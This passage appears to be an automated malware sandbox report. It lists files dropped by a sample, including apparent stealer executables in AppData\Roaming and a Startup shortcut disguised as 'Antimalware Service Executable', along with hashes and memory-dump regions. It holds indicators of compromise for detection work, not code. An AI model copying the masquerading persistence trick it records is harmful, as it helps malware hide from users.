d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
948B

MD5
985b3105d8889886d6fd953575c54e08

SHA1
0f9a041240a344d82bac0a180520e7982c15f3cd

SHA256
5178fdd457eb3eb25c8f72ed4c22c582a83de0d324db66d0446d660f226e944d

SHA512
0fd59bc4886b70aa3b7eeeaa23229b7fdc93410ca7f8452860e4a1bbda2559eaa5e4b05c3ec2d85f7d648daf3c16741f4c2c18f2dd3bae4cc4a4e57ae4f665b0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
d3235ed022a42ec4338123ab87144afa

SHA1
5058608bc0deb720a585a2304a8f7cf63a50a315

SHA256
10663f5a1cb0afe5578f61ebaae2aafb363544e47b48521f9c23be9e6e431b27

SHA512
236761b7c68feca8bd62cba90cff0b25fac5613837aaa5d29ae823ace8b06a2057553cf7e72b11ccc59b6c289e471ca1bbac1a880aef5e2868875371a17c1abf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
c7e30bd006cbe7816a739ce7592525f2

SHA1
cbc320e9acc9a73bb512e85e3d1e9246e3258658

SHA256
99193e72a35fbdfe03b49259487de7811d7a9c6f0e1f69d9d23238ea66440d88

SHA512
874e24c4e5289d705862590c7724ef127ccd68959bee89e426cf8f62017db9eb6b7d423de7a029393e3cf5ffa02ff93b5c4b518629950174de17fc4d56c1cfba

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
d8cb3e9459807e35f02130fad3f9860d

SHA1
5af7f32cb8a30e850892b15e9164030a041f4bd6

SHA256
2b139c74072ccbdaa17b950f32a6dbc934dfb7af9973d97c9b0d9c498012ba68

SHA512
045239ba31367fbdd59e883f74eafc05724e23bd6e8f0c1e7171ea2496a497eb9e0cfcb57285bb81c4d569daadba43d6ef64c626ca48f1e2a59e8d97f0cc9184

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
04f1d68afbed6b13399edfae1e9b1472

SHA1
8bfdcb687a995e4a63a8c32df2c66dc89f91a8b0

SHA256
f358f33a42122e97c489fad7bbc8beab2eb42d42e4ec7fce0dd61fe6d8c0b8de

SHA512
30c5e72a8134992094d937d2588f7a503b1d6407d11afe0265b7c8b0ce14071925e5caed13fc4f9c28705df4c7aed3601f81b007048b148af274d7784aa5fb75

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_51zcrhqw.ili.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\45215434532.exe
Filesize
289KB

MD5
2fbb066a05c1ef9460e97aaedbe0e45e

SHA1
d5d26c284cea1437decf880c20a39b16e7e6a63a

SHA256
ab4cecb9a0cff2c60bcac17ce47d47c1f322e27668ebc446825c6882472bb01d

SHA512
22ba0f92821aef8c395cddc3ffee007541fafa3f797f2b2dd1695b3f42cf7423ed1f3eadd522213f62533ee7d43087e96047d6e44dd5f2ea9fa4afc157b7af9e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Antimalware Service Executable.lnk
Filesize
888B

MD5
160af3d1b9126a3fc334da900d4d482f

SHA1
53f7c02610250896fa3bb343ed66de3aaf25a10b

SHA256
1f1a46465f9cd2e81f92ff29a7269175d825583e13e80ddc3dee134aac2d0436

SHA512
8245ae3df2f682741248d1530c022cc0ce727c520b9d1ea3a4a2b7009715ebd4b3e717ae8f15e8b63a77831214007a1b8e1b2ab768a3d26723326ce475cec48a

Download Submit
C:\Users\Admin\AppData\Roaming\Nursultan.exe
Filesize
19.0MB

MD5
f139956e3513372dfedb48be8c5f20d2

SHA1
10f96e4db74379253e344ab946cd0277b9e3399b

SHA256
c8953cfb225aee2562f4488207d03aa8d64a742ab9a8685cf68c7df9b3fced43

SHA512
1057fb10d053f5c98fc379ee01bd01f9771fe8cd085c735e61ad58a07d4184454814eb46172ca934cdb4f26f998cb9826d2dcefed4bf64efbc55445bf7555858

Download Submit
C:\Users\Admin\AppData\Roaming\SHACTUAL.exe
Filesize
286KB

MD5
172102632622276b14db160162216da2

SHA1
d43e5499a72085f8f088b8cdec03d0e2e848354b

SHA256
db2780fbfa5ef72359db0a4eaa4d49a2ba08b628820803d10e87d1942f5f242d

SHA512
29a62c255304d04d8d7b96bb66e9dca58365b56f73ec64dbcba9bec15af3e771fc856db7328918d9ede81dbfa5d5e7b5157d3366833c1cf5ff0cc3ffe57c9686

Download Submit
C:\Users\Admin\AppData\Roaming\Stealeerrrl.exe
Filesize
227KB

MD5
0c5a658e2dd610701dfdda4af941cedf

SHA1
d90c4f66c708206b2d62e84923ea5746f2aa37ff

SHA256
3c40b379fa1a86269b0f31473a95917e2d940a0ad11c95f0209518d4e32afc60

SHA512
557a1d3fdf5c77bbe97b7d1eabb09ddcf44387c17ee22506ec0e2e47a20814a4f067ed225384b40244e013b79866034b0efb1b3f890cde68f940132e10714091

Download Submit
C:\Users\Admin\AppData\Roaming\sdfc.exe
Filesize
61KB

MD5
114dc24354f0c5ed1c34c1e21abc72fd

SHA1
e311f13272546541bcb93454367c1f958deba7e1

SHA256
c36165bdc7f50ae6366f31fcda7d96b4eb2ec4bfc91f4a75d1347eb74c599a3f

SHA512
23ca2599c8f08c7690a2e7edc5835c72ac2b985b0c40a33abee4e6cd8e87ef1604d26087f69f91606f2842bbb3ef593733727a56964e49d00cb2e57422f25e96

Download Submit
memory/220-0-0x00007FFFBA0D3000-0x00007FFFBA0D5000-memory.dmp

Filesize
8KB

Download
memory/220-1-0x00000000008B0000-0x0000000001C7C000-memory.dmp

Filesize
19.8MB

Download
memory/1208-53-0x0000000000B50000-0x0000000000B66000-memory.dmp

Filesize
88KB

Download
memory/1408-66-0x0000000000C80000-0x0000000000CCC000-memory.dmp

Filesize
304KB

Download
memory/3152-26-0x00007FFFBA0D0000-0x00007FFFBAB91000-memory.dmp

Filesize
10.8MB

Download
memory/3152-29-0x00007FFFBA0D0000-0x00007FFFBAB91000-memory.dmp

Filesize
10.8MB

Download
memory/3152-21-0x0000000000620000-0x000000000066C000-memory.dmp

Filesize
304KB

Download
memory/3348-72-0x0000020C6E1E0000-0x0000020C6E202000-memory.dmp

Filesize
136KB

Download
memory/3672-54-0x0000000000A50000-0x0000000001D4C000-memory.dmp

Filesize
19.0MB

Download
memory/3696-112-0x00000252C5980000-0x00000252C59D0000-memory.dmp

Filesize
320KB

Download
memory/3696-113-0x00000252C5A10000-0x00000252C5A2E000-memory.dmp

Filesize
120KB

Download
memory/3696-183-0x00000252C59F0000-0x00000252C59FA000-memory.dmp

Filesize
40KB

Download
memory/3696-184-0x00000252C5D30000-0x00000252C5D42000-memory.dmp

Filesize
72KB

Download
memory/3696-111-0x00000252C5CB0000-0x00000252C5D26000-memory.dmp

Filesize
472KB

Download
memory/3696-27-0x00007FFFBA0D0000-0x00007FFFBAB91000-memory.dmp

Filesize
10.8MB

Download
memory/3696-233-0x00007FFFBA0D0000-0x00007FFFBAB91000-memory.dmp

Filesize
10.8MB

Download
memory/3696-230-0x00007FFFBA0D0000-0x00007FFFBAB91000-memory.dmp

Filesize
10.8MB

Download
memory/3696-25-0x00000252AB4E0000-0x00000252AB520000-memory.dmp

Filesize
256KB

Download
memory/4700-221-0x000001B82B720000-0x000001B82B721000-memory.dmp

Filesize
4KB

Download
memory/4700-224-0x000001B82B720000-0x000001B82B721000-memory.dmp

Filesize
4KB

Download
memory/4700-222-0x000001B82B720000-0x000001B82B721000-memory.dmp

Filesize
4KB

Download
memory/4700-223-0x000001B82B720000-0x000001B82B721000-memory.dmp

Filesize
4KB

Download
memory/4700-227-0x000001B82B720000-0x000001B82B721000-memory.dmp

Filesize
4KB

Download
memory/4700-226-0x000001B82B720000-0x000001B82B721000-memory.dmp

Filesize
4KB

Download
memory/4700-225-0x000001B82B720000-0x000001B82B721000-memory.dmp

Filesize
4KB

Download
memory/4700-217-0x000001B82B720000-0x000001B82B721000-memory.dmp

Filesize
4KB

Download
memory/4700-216-0x000001B82B720000-0x000001B82B721000-memory.dmp

Filesize
4KB

Download
memory/4700-215-0x000001B82B720000-0x000001B82B721000-memory.dmp

Filesize
4KB

Download